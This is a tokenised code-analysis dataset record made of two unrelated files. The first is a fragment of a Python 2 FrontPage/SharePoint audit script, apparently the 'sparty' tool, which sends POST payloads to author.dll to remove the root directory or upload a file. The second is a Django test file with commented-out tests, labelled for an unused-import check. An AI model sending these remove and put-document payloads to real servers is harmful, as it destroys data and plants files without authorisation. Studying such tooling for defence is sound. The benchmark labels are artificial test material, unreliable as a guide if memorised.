"\\u\\u\\uNL\\u\\u\\u_", "file", "\\u", "exp", "\\u", "target_", "=_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "author", ".", "dll", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payloads_", "=_", "[_", "'", "method", "=", "remove", "+", "document", "s", ":", "3.0", ".2", ".1", "786", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "remove", "+", "document", "s", ":", "4.0", ".2", ".4", "715", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "remove", "+", "document", "s", ":", "5.0", ".3", ".4", "803", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "remove", "+", "document", "s", ":", "5.0", ".2", ".4", "803", "&", "service", "\\u", "name", "=", "/'_", ",_", "'", "method", "=", "remove", "+", "document", "s", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "=", "/'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "payloads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "destination_", "=_", "name_", "+_", "\"/\"_", "+_", "file", "\\u", "exp", "\\u", "target_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "POST", " ", "request", " ", "to", " ", "remove", " ", "'/'", " ", "director", "y", " ", "to", " ", "-", " ", "(%", "s", ")\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ",_", "item_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "folder", " ", "remove", "d", " ", "success", "full", "y", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "response_", "._", "readlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "print_", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "fail", "s", " ", "to", " ", "remove", " ", "'/'", " ", "folder", " ", "at", " ", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", ",", " ", "see", "ms", " ", "like", " ", "authenticat", "ion", " ", "is", " ", "require", "d", " ", "or", " ", "server", " ", "fail", "ed", " ", "to", " ", "handle", " ", "request", "!", " ", "-", " ", "%", "s", " ", "\\\\", "n", "[-]", " ", "payload", " ", "[", "%", "s", "]\\\\", "n", "\"_", "%_", "(_", "e_", "._", "code_", ",_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "file", "\\u", "upload", "\\u", "check_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MIME", "-", "Version", "'_", ":_", "'", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", "-", "Agent", "'_", ":_", "'", "MS", "Front", "Page", "/", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "X", "-", "Ver", "mee", "r", "-", "Conten", "t", "-", "Type", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Connect", "ion", "'_", ":_", "'", "Keep", "-", "Ali", "ve", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "runn", "ing", " ", "some", " ", "standard", " ", "command", "s", " ", "to", " ", "upload", " ", "file", " ", "to", " ", " ", "web", " ", "server", " ", "usi", "ng", " ", "author", ".", "dll_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "front", "page", " ", "version", "s", " ", "validat", "ed", " ", "are", ":", " ", "3.0", ".2", ".1", "706", " ", ",", " ", "4.0", ".2", ".4", "715", " ", ",", " ", "5.0", ".2", ".4", "803", ",", " ", "5.0", ".2", ".2", "623", " ", ",", " ", "6.0", ".2", ".5", "420_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "echo", " ", "'", "Spar", "ty", " ", "Test", "ing", " ", "!'", " ", ">", " ", "spar", "ty", ".", "txt", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "exp", "\\u", "target_", "=_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "author", ".", "dll", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payloads_", "=_", "[_", "'", "method", "=", "put", " ", "document", ":", "3.0", ".2", ".1", "706", "&", "service", "\\u", "name", "=", "&", "document", "=[", "document", "\\u", "name", "=", "spar", "ty", ".", "txt", " ", ";", " ", "meta", "\\u", "info", "=[]", "]", "&", "put", "\\u", "option", "=", "overwrit", "e", "&", "comment", "=", "&", "keep", "\\u", "checke", "d\\u", "out", "=", "fal", "se", "'_", ",_", "'", "method", "=", "put", " ", "document", ":", "4.0", ".2", ".4", "715", "&", "service", "\\u", "name", "=", "&", "document", "=[", "document", "\\u", "name", "=", "spar", "ty", ".", "txt", " ", ";", " ", "meta", "\\u", "info", "=[]", "]", "&", "put", "\\u", "option", "=", "overwrit", "e", "&", "comment", "=", "&", "keep", "\\u", "checke", "d\\u", "out", "=", "fal", "se", "'_", ",_", "'", "method", "=", "put", " ", "document", ":", "5.0", ".2", ".2", "623", "&", "service", "\\u", "name", "=", "&", "document", "=[", "document", "\\u", "name", "=", "spar", "ty", ".", "txt", " ", ";", " ", "meta", "\\u", "info", "=[]", "]", "&", "put", "\\u", "option", "=", "overwrit", "e", "&", "comment", "=", "&", "keep", "\\u", "checke", "d\\u", "out", "=", "fal", "se", "'_", ",_", "'", "method", "=", "put", " ", "document", ":", "5.0", ".2", ".4", "823", "&", "service", "\\u", "name", "=", "&", "document", "=[", "document", "\\u", "name", "=", "spar", "ty", ".", "txt", " ", ";", " ", "meta", "\\u", "info", "=[]", "]", "&", "put", "\\u", "option", "=", "overwrit", "e", "&", "comment", "=", "&", "keep", "\\u", "checke", "d\\u", "out", "=", "fal", "se", "'_", ",_", "'", "method", "=", "put", " ", "document", ":", "6.0", ".2", ".5", "420", "&", "service", "\\u", "name", "=", "&", "document", "=[", "document", "\\u", "name", "=", "spar", "ty", ".", "txt", " ", ";", " ", "meta", "\\u", "info", "=[]", "]", "&", "put", "\\u", "option", "=", "overwrit", "e", "&", "comment", "=", "&", "keep", "\\u", "checke", "d\\u", "out", "=", "fal", "se", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "payloads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "destination_", "=_", "name_", "+_", "\"/\"_", "+_", "file", "\\u", "exp", "\\u", "target_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "POST", " ", "request", " ", "for", " ", "upload", "ing", " ", "file", " ", "to", " ", "-", " ", "(%", "s", ")\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ",_", "item_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "file", " ", "uploade", "d", " ", "success", "full", "y", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "response_", "._", "readlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "print_", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "file", " ", "fail", "s", " ", "to", " ", "upload", " ", "at", " ", " ", "-", " ", "(%", "s", ")", " ", "|", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "(_", "item_", ",_", "response_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", ",", " ", "see", "ms", " ", "like", " ", "authenticat", "ion", " ", "is", " ", "require", "d", " ", "or", " ", "server", " ", "fail", "ed", " ", "to", " ", "handle", " ", "request", "!", " ", "-", " ", "%", "s", " ", "\\\\", "n", "[-]", " ", "payload", " ", "[", "%", "s", "]\\\\", "n", "\"_", "%_", "(_", "e_", "._", "code_", ",_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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core/tests_category.py
[ { "content": "#!/usr/bin/python\n# ex:set fileencoding=utf-8:\n# flake8: noqa\n\nfrom __future__ import unicode_literals\n\nfrom django.test import TestCase\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom djangobmf.core.category import Category\n\nfrom collections import OrderedDict\n\n\n\n# def setUp(self): # noqa\n\n# self.view1 = View(model='empty', name=\"Test1\", slug=\"test1\")\n# self.view2 = View(model='empty', name=\"Test2\", slug=\"test2\")\n\n# super(ClassTests, self).setUp()\n\n# def test_init_empty(self):\n# class TestCategory(Category):\n# name = \"test\"\n# slug = \"test\"\n# td = TestCategory()\n\n# self.assertEqual(td.data, OrderedDict([\n# ]))\n\n# def test_init_data1(self):\n# class TestCategory(Category):\n# name = \"test\"\n# slug = \"test\"\n# td = TestCategory(self.view1)\n\n# self.assertEqual(td.data, OrderedDict([\n# ('test1', self.view1),\n# ]))\n\n# def test_init_data2(self):\n# class TestCategory(Category):\n# name = \"test\"\n# slug = \"test\"\n# td = TestCategory(self.view1, self.view2)\n\n# self.assertEqual(td.data, OrderedDict([\n# ('test1', self.view1),\n# ('test2', self.view2),\n# ]))\n\n# def test_add_view(self):\n# class TestCategory(Category):\n# name = \"test\"\n# slug = \"test\"\n# td = TestCategory()\n\n# td.add_view(self.view1)\n# self.assertEqual(td.data, OrderedDict([\n# ('test1', self.view1),\n# ]))\n\n# td.add_view(self.view1)\n# self.assertEqual(td.data, OrderedDict([\n# ('test1', self.view1),\n# ]))\n\n# td.add_view(self.view2)\n# self.assertEqual(td.data, OrderedDict([\n# ('test1', self.view1),\n# ('test2', self.view2),\n# ]))\n\n# td.add_view(self.view1)\n# self.assertEqual(td.data, OrderedDict([\n# ('test1', self.view1),\n# ('test2', self.view2),\n# ]))\n\n# td.add_view(self.view2)\n# self.assertEqual(td.data, OrderedDict([\n# ('test1', self.view1),\n# ('test2', self.view2),\n# ]))\n\n# def test_key(self):\n# class TestCategory(Category):\n# name = \"Test\"\n# slug = \"test\"\n# td = TestCategory()\n# self.assertEqual(td.key, \"test\")\n\n# def test_merge(self):\n# class TestCategory1(Category):\n# name = \"Test1\"\n# slug = \"test1\"\n# class TestCategory2(Category):\n# name = \"Test1\"\n# slug = \"test1\"\n\n# td1 = TestCategory1()\n# td2 = TestCategory2()\n# td1.merge(td2)\n# self.assertEqual(td1.data, OrderedDict([\n# ]))\n\n# td1 = TestCategory1()\n# td2 = TestCategory2(self.view1)\n# td1.merge(td2)\n# self.assertEqual(td1.data, OrderedDict([\n# ('test1', self.view1),\n# ]))\n\n# td1 = TestCategory1(self.view1)\n# td2 = TestCategory2(self.view2)\n# td1.merge(td2)\n# self.assertEqual(td1.data, OrderedDict([\n# ('test1', self.view1),\n# ('test2', self.view2),\n# ]))\n\n# td1 = TestCategory1(self.view2)\n# td2 = TestCategory2(self.view2)\n# td1.merge(td2)\n# self.assertEqual(td1.data, OrderedDict([\n# ('test2', self.view2),\n# ]))\n\n# td1 = TestCategory1(self.view2, self.view1)\n# td2 = TestCategory2(self.view2)\n# td1.merge(td2)\n# self.assertEqual(td1.data, OrderedDict([\n# ('test2', self.view2),\n# ('test1', self.view1),\n# ]))\n\n# def test_bool(self):\n# class TestCategory(Category):\n# name = \"test\"\n# slug = \"test\"\n# td = TestCategory()\n# self.assertFalse(td)\n# td.add_view(self.view1)\n# self.assertTrue(td)\n\n# def test_len(self):\n# class TestCategory(Category):\n# name = \"test\"\n# slug = \"test\"\n\n# td = TestCategory()\n# self.assertEqual(len(td), 0)\n\n# td = TestCategory(self.view1, self.view2)\n# self.assertEqual(len(td), 2)\n\n# def test_eq(self):\n# class TestCategory1(Category):\n# name = \"test1\"\n# slug = \"test1\"\n# class TestCategory2(Category):\n# name = \"test2\"\n# slug = \"test2\"\n# class TestCategory3(Category):\n# name = \"test1\"\n# slug = \"test1\"\n\n# td1 = TestCategory1()\n# td2 = TestCategory2()\n# td3 = TestCategory3()\n\n# self.assertEqual(td1, td3)\n# self.assertNotEqual(td1, td2)\n# self.assertNotEqual(td1, self.view1)\n\n# def test_contains(self):\n# class TestCategory(Category):\n# name = \"test\"\n# slug = \"test\"\n# td = TestCategory(self.view1)\n# self.assertFalse('test2' in td)\n# self.assertFalse(self.view2 in td)\n# self.assertTrue('test1' in td)\n# self.assertTrue(self.view1 in td)\n\n# def test_getitem(self):\n# class TestCategory(Category):\n# name = \"test\"\n# slug = \"test\"\n# td = TestCategory(self.view1, self.view2)\n\n# self.assertEqual(td['test1'], self.view1)\n# self.assertEqual(td['test2'], self.view2)\n\n# with self.assertRaises(KeyError):\n# test = td['test3']\n\n# def test_iter(self):\n# class TestCategory(Category):\n# name = \"test\"\n# slug = \"test\"\n# td = TestCategory(self.view1)\n\n# for i in td:\n# self.assertEqual(i, self.view1)\n\n# td = TestCategory(self.view1, self.view2)\n# self.assertEqual([i for i in td], [self.view1, self.view2])\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class ClassTests(TestCase):\n pass", "metadata": "root.ClassTests", "header": "['module', '___EOS___']", "index": 14 } ]
[ { "span": "from djangobmf.core.category import Category", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 44 }, { "span": "from collections import OrderedDict", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 35 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ex", ":", "set", " ", "file", "encoding", "=", "utf", "-", "8", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "flake", "8", ":", " ", "no", "qa_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "test_", "import_", "Test", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "uge", "ttext", "\\u", "lazy_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django", "bm", "f_", "._", "core_", "._", "category_", "import_", "Category_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "collections_", "import_", "Order", "ed", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "set", "Up", "(", "self", "):", " ", " ", "#", " ", "no", "qa_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "view", "1", " ", "=", " ", "View", "(", "model", "='", "empty", "',", " ", "name", "=\"", "Test", "1", "\",", " ", "slug", "=\"", "test", "1", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "view", "2", " ", "=", " ", "View", "(", "model", "='", "empty", "',", " ", "name", "=\"", "Test", "2", "\",", " ", "slug", "=\"", "test", "2", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "super", "(", "Class", "Test", "s", ",", " ", "self", ").", "set", "Up", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "init", "\\u", "empty", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "init", "\\u", "data", "1", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "(", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "1", "',", " ", "self", ".", "view", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "init", "\\u", "data", "2", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "(", "self", ".", "view", "1", ",", " ", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "1", "',", " ", "self", ".", "view", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "2", "',", " ", "self", ".", "view", "2", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "add", "\\u", "view", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", ".", "add", "\\u", "view", "(", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "1", "',", " ", "self", ".", "view", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", ".", "add", "\\u", "view", "(", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "1", "',", " ", "self", ".", "view", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", ".", "add", "\\u", "view", "(", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "1", "',", " ", "self", ".", "view", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "2", "',", " ", "self", ".", "view", "2", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", ".", "add", "\\u", "view", "(", "self", ".", "view", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "1", "',", " ", "self", ".", "view", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "2", "',", " ", "self", ".", "view", "2", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", ".", "add", "\\u", "view", "(", "self", ".", "view", "2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", ".", "data", ",", " ", "Order", "ed", "Dict", "([", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "1", "',", " ", "self", ".", "view", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "('", "test", "2", "',", " ", "self", ".", "view", "2", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "key", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "Test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "td", " ", "=", " ", "Test", "Cate", "gory", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "self", ".", "assert", "Equal", "(", "td", ".", "key", ",", " ", "\"", "test", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "def", " ", "test\\u", "merge", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "class", " ", "Test", "Cate", "gory", "1", "(", "Cate", "gory", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "name", " ", "=", " ", "\"", "Test", "1", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "slug", " ", "=", " ", "\"", "test", "1", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " 